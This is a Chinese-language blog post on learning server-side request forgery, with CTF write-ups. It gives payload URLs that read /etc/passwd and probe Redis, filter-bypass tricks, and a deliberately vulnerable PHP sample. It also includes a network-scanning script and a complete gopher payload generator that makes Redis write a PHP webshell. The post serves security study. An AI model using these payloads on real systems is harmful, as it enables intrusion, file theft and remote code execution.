SSRF漏洞学习

2020-07-14 78次浏览 0条评论  前往评论

前言


总结的不是很全,以后慢慢更。

ssrf是什么


SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

比如有个URL是这样的:

http://www.xxx.com/image.php?image=http://www.kawhi.xyz/a.jpg

这个URL原本是服务端发起请求获取链接地址的图片数据。

但是如果存在SSRF漏洞的话,我们就可以使用一些协议来读取和执行相关命令,例如:

http://www.xxx.com/image.php?image=http://127.0.0.1:22
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test

那么问题来了,如何判断是否存在SSRF漏洞呢?

通常来说会出现SSRF的地方比如上面说的URL地址加载或下载图片

http://www.xxx.com/image.php?image=http://www.kawhi.xyz/a.jpg

还有就是图片、文章收藏功能

http://title.xxx.com/title?title=http://title.xxx.com/fhaljs

以及通过URL分享,转码服务,在线翻译,未公开的api实现以及其他扩展调用URL的功能等等一些地方。我们也可以通过一些url中的关键字来识别,比如

sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain...

ssrf小试验


首先要知道可能出现SSRF的函数有:file_get_contents()curl()fsocksopen()fopen()等,这里用curl()来举例子。

存在SSRF漏洞的代码

<?php
function curl($url){
  //创建一个新的curl资源
  $ch = curl_init();
  //设置URL和相应的选项
  curl_setopt($ch,CURLOPT_URL,$url);
  curl_setopt($ch,CURLOPT_HEADER,false);
  //抓取URL并把它传递给浏览器
  curl_exec($ch);
  //关闭curl资源,并且释放系统资源
  curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
  • http协议

探测内网主机存活

http://39.xxx.xxx.xxx:5212/ssrf.php?url=http://127.0.0.1:1314
  • 通过file协议读取文件

在有回显的情况下,利用 file 协议可以读取任意内容

#win
http://127.0.0.1/ssrf.php?url=file:///C:/WINDOWS/win.ini
#liunx
http://39.xxx.xxx.xxx:5212/ssrf.php?url=file:///etc/passwd
  • dict协议

泄露安装软件版本信息,查看端口,操作内网redis服务等

http://39.xxx.xxx.xxx:5212/ssrf.php?url=dict://127.0.0.1:6379/info

查看redis的相关配置。

http://39.xxx.xxx.xxx:5212/ssrf.php?url=dict://127.0.0.1:22/info

查看ssh的banner信息

  • gopher协议

gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell。

这里使用的是阿里云服务器,先开启一个监听

root@iZ2ze3hhi0u5dwj1frqvh7Z:~# nc -lvvp 8102
listening on [any] 8102 ...

然后访问

http://39.xxx.xxx.xxx:5212/ssrf.php?url=gopher://127.0.0.1:8102/_test

回显

root@iZ2ze3hhi0u5dwj1frqvh7Z:~# nc -lvvp 8102
listening on [any] 8102 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52450
test

ssrf怎么绕


这里总结了一些比较常用的绕过方法。

  • data伪协议绕过
 <?php    
 highlight_file(__FILE__);
if(preg_match('/php|file|\/\/|sftp|ldap|gopher|http|https/is', $_GET['a'])){
     die("no hack");
 }
$a = file_get_contents($_GET['a']);
eval($a); ?>

exp

data:text/plain;base64,cGhwaW5mbygpOw==
  • IP限制绕过
115.239.210.26  >>>  16373751032
首先把这四段数字给分别转成16进制结果73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0)

exp

http://127.0.0.1  >>>  http://2130706433/
  • 解析url的绕过

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是127.0.0.1上的内容。

exp

http://www.baidu.com@127.0.0.1/
#相当于
http://127.0.0.1/

这里要注意的是在对@解析域名中,不同的处理函数存在处理差异,例如: http://www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

  • 定制DNS服务
http://xip.io/
http://nip.io/
https://ip6.name/
https://sslip.io/

exp

http://127.0.0.1.xip.io/
#相当于
http://127.0.0.1/
  • 封闭式数字字母

exp

http://①②⑦...
#相当于
http://127.0.0.1/
  • 短地址绕过

通过短地址的方式来绕过,短地址生成网站:https://tinyurl.com/

ssrf怎么防


  • 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题。

例题

这些题目都是以前复现的题目,当时看的云里雾里,现在回头来看又加深了理解。

SSRF的PHP黑魔法


这是hhhm师傅出的题目三座大山

做这道题目之前先来了解一下SSRF的PHP黑魔法,file_get_contents()函数如果输入一个不存在的协议名,会爆出一个warning,然后导致目录穿越,从而实现SSRF攻击,比如我们请求一个PHP无法识别的协议,比如abc://,那么他就会就被PHP识别为了一个目录,如果要读取同目录下的index.php,就要用abc://../injiahsdex.php来进行读取。这样做的目的就是可以在SSRF的众多协议被ban的情况下来进行读取文件。

回到题目,首先按照示例输入one,输出一张风景画,依照提示可知输入two,three同理会有图片,fuzz一下发现有提示:

can you pass it and then read index.php? 

读文件的话一般是ssrf,从fuzz的结果会发现输入协议相关的内容就会被过滤掉,其中过滤了如下:

data:|https:|http:|gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:

这时候利用php的黑魔法abc://../index.php就可以读取本地的index.php。

<?php
error_reporting(0);
$name = $_GET["num"];
if(isset($name))
{
    if($name==="one"||$name==="two"||$name==="three")
    {
        $filename = "tour/$name.php";
         echo file_get_contents($filename);
    }
    else
    {
          if(!preg_match('/data:|https:|http:|gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:|input|filter|flag/i',$name))
          {
            $url=file_get_contents($name);
            echo($url);
          }
          else
          {
            die("can you pass it and then read index.php? ");
          }
    }
}
#<!---next c2Vzcw==.php--> 
?>
</div>

这道题目后面还有一部分无参数,不涉及SSRF这里就不提了。

Redis SSRF getshell


buu题目EZ三剑客-EzWeb,首先得到的页面是一个输入框

当我们输入file:///etc/passwd的时候,下方提示别这样,应该是过滤了file协议,这里可以使用file:<空格>///绕过,成功回显,基本上可以确定有SSRF漏洞了。然后我们再使用file协议读取源码试一下,在输入框输入file: ///var/www/html/index.php,成功获取源码

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
        $url = $_GET['url'];
        //echo $url."\n";
        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
        {
            //var_dump($match);
            die('别这样');
        }
        curl($url);
}
if(isset($_GET['secret'])){
    system('ifconfig');
}
?>

可以看到经过了一个正则的匹配才可以curl($url);

从正则可以看出过滤了file://dict127.0.0.1localhost../但是没有过滤http协议和gopher协议。看到如果get传值secret会执行ifconfig。

按F12在有个注释也可以发现?secret,访问?secret得到本机ip

写个脚本探测内网

# -*- coding: utf-8 -*-
import requests

ip = '173.17.51.{}'
url = 'http://ac0d31a7-5126-4f26-a7ec-b38aceea896a.node3.buuoj.cn'
temp = "{0}/index.php?url={1}&&submit=提交"

for i in range(1, 255):
    u = temp.format(url, ip.format(i))
    resp = requests.get(u)
    if len(resp.text) != 421:
        print(i)

跑出结果4 5 6 7 10 11,一个一个试,11的时候给出了提示,当然这里不用写脚本,用burp去爆破也是可以的。

获取到地址之后,然后用burp爆破端口。

payloads选numbers爆破1到65535端口,线程选1。一般来说猜测是6379端口(redis)或3306端口(mysql),当然爆破出结果是6374。

因为输入url这里只限制了file://,没有ban掉gopher://,很容易想到是Redis SSRF getshell。

这里直接用别人写好的exp:

import urllib
protocol="gopher://"
ip="173.17.51.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

payload为:

gopher://173.17.51.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

在输入框直接打进去。会在根目录下生成个文件shell.php,然后访问173.17.51.11/shell.php即可得到flag。



登录后回复

共有0条评论